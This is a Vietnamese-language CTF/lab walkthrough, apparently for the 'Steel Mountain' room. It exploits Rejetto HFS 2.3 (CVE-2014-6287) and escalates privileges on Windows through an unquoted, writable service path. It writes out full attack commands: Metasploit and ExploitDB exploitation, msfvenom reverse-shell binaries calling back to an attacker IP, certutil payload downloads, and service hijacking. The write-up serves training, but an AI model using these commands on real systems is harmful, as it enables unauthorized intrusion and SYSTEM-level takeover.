Initial Access
Chạy Nmap với câu lệnh sau:
sudo nmap -sS -F -Pn -n -T4 -oN nmap_steel_mountain.txt 10.10.183.0
Ta nhận thấy được webserver ngoài port 80 thì còn có port 8080. Truy cập thì thấy đây là một file server sử dụng chương trình Rejetto HTTP File Server có phiên bản là 2.3 và phiên bản này có một CVE là 2014-6287.
Search trong Metasploit thì thấy được module exploit/windows/http/rejetto_hfs_exec
. Sử dụng module này với các thiết lập sau:
RHOSTS
: IP của target machine.RPORT
: 8080LHOST
: IP của attacking machine.- Payload sử dụng là
windows/meterpreter/reverse_tcp
.
Chạy exploit và ta có được một meterpreter shell.
Truy cập đến thư mục C:\Users\bill\Desktop
và ta sẽ thấy có file chứa flag
Success
b04763b6fcf51fcd7c13abc7db4fd365
Privilege Escalation
Sử dụng script PowerUp.ps1
để giúp enumerate các bất thường trong cấu hình của Windows. Ta dùng meterpreter và upload lên như sau:
upload ./PowerUp.ps1
Sau đó chạy lệnh load powershell
và lệnh powershell_shell
để sử dụng PowerShell của Windows.
Kế đến, chạy script vừa upload như sau:
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
Sau khi chạy thì ta thu được một service bất thường như sau:
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
Có thể thấy, service này có đường dẫn không có dấu nháy và đồng thời ta cũng có quyền restart nên có thể khai thác để leo thang đặc quyền1.
Đầu tiên, ta sản sinh ra payload bằng Metasploit Venom như sau:
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.30.179 LPORT=4444 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
Với LHOST
và LPORT
là của attacking machine. Lưu ý là cần phải chạy Metasploit Multi-Handler với payload là windows/shell_reverse_tcp
để nhận reverse shell. Sau khi có shell thì ta có thể upgrade tương tự như ở trong Blue.
Sau đó ta upload file này lên target machine thông qua meterpreter shell và cấp đầy đủ quyền cho nó:
icacls.exe ./Advanced.exe /grant Everyone:F
Kế đến ta di chuyển nó vào thư mục C:\Program Files (x86)\IObit
:
move 'C:\Users\bill\Desktop\Advanced.exe' 'C:\Program Files (x86)\IObit\Advanced.exe'
Cuối cùng ta restart service như sau:
sc.exe stop AdvancedSystemCareService9
sc.exe start AdvancedSystemCareService9
Kết quả là ta sẽ nhận được root shell và khi đó ta cần truy cập vào C:\Users\Administrator\Desktop
để đọc file có flag.
Success
9af5f314f57607c00fd09803a587db80
Access and Escalation Without Metasploit
Nếu không sử dụng Metasploit, ta cần tải exploit về từ ExploitDB sau đó thiết lập IP và port cho exploit này. Giả dụ thiết lập như sau:
ip_addr = "10.13.30.179" #local IP address
local_port = "8888" # Local Port number
Sau đó, tải file thực thi của Netcat về và chạy Web server ở port 80 để exploit trên có thể tải sang target machine.
python3 -m http.module 80
Ngoài ra, ta cần chạy một Netcat server để nhận reverse shell của exploit. Sau khi setup xong xuôi thì chạy exploit như sau:
python2.7 39161.py 10.10.77.170 8080
Với:
39161.py
là tên file của exploit.10.10.77.170
là IP của target machine.8080
là port của HFS serrver.
Note
Có thể sẽ cần phải chạy exploit nhiều lần.
Nếu thành công, ta sẽ nhận được một reverse shell. Bước tiếp theo chính là gửi chương trình WinPEAS sang cho target machine để nó enumerate các lỗ hổng.
Vẫn giữ nguyên số port của Web server, ta tải WinPEAS về target machine như sau:
certutil -urlcache -f http://`10.13.30.179`:80/winPEASx64.exe winpeasx64.exe
Attention
Cần lưu ý là chỉ được tải vào thư mục nào có quyền ghi. Trong trường hợp này là thư mục
C:\Users\bill
.
Sau đó chạy file winpeasx64.exe
như sau:
.\winpeasx64.exe serviceinfo
Thu được thông tin sau:
Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
AdvancedSystemCareService9(IObit - Advanced SystemCare Service 9)[C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe] - Auto - Running - No quotes and Space detected
File Permissions: bill [WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\Program Files (x86)\IObit\Advanced SystemCare (bill [WriteData/CreateFiles])
Advanced SystemCare Service
Thông tin trên cho ta biết:
- Service
AdvancedSystemCareService9
sử dụng unquoted path. - Ta có thể làm giả binary của service trong thư mục
C:\Program Files (x86)\IObit\Advanced SystemCare
bởi vì ta (người dùngbill
) có quyền ghi và tạo file.
Như vậy, ta có thể khai thác theo hai kiểu. Ở các section trên ta đã khai thác lỗ hổng unquoted path nên lần này ta sẽ khai thác quyền ghi và tạo file.
Tạo một binary bằng Metasploit Venom như sau:
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.30.179 LPORT=4444 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
Tải về target machine binary vừa tạo ở thư mục C:\Program Files (x86)\IObit\Advanced SystemCare
:
certutil -urlcache -f http://10.13.30.179:80/ASCService.exe ASCService.exe
Setup Metasploit Multi-Handler module ở attacking machine với:
- IP là
10.13.30.179
. - Port là
4444
(tương ứng với binary). - Payload là
windows/shell_reverse_tcp
(tương ứng với binary).
Khởi chạy module và restart lại service AdvancedSystemCareService9
thì ta sẽ nhận được một reverse shell. Khi chạy whoami
thì ta nhận được output là nt authority\system
cho biết ta đã leo thang đặc quyền thành công.
Có thể upgrade shell lên meterpreter shell tương tự như Blue nếu cần.
Resources
Footnotes
-
Xem thêm Unquoted Service Paths. ↩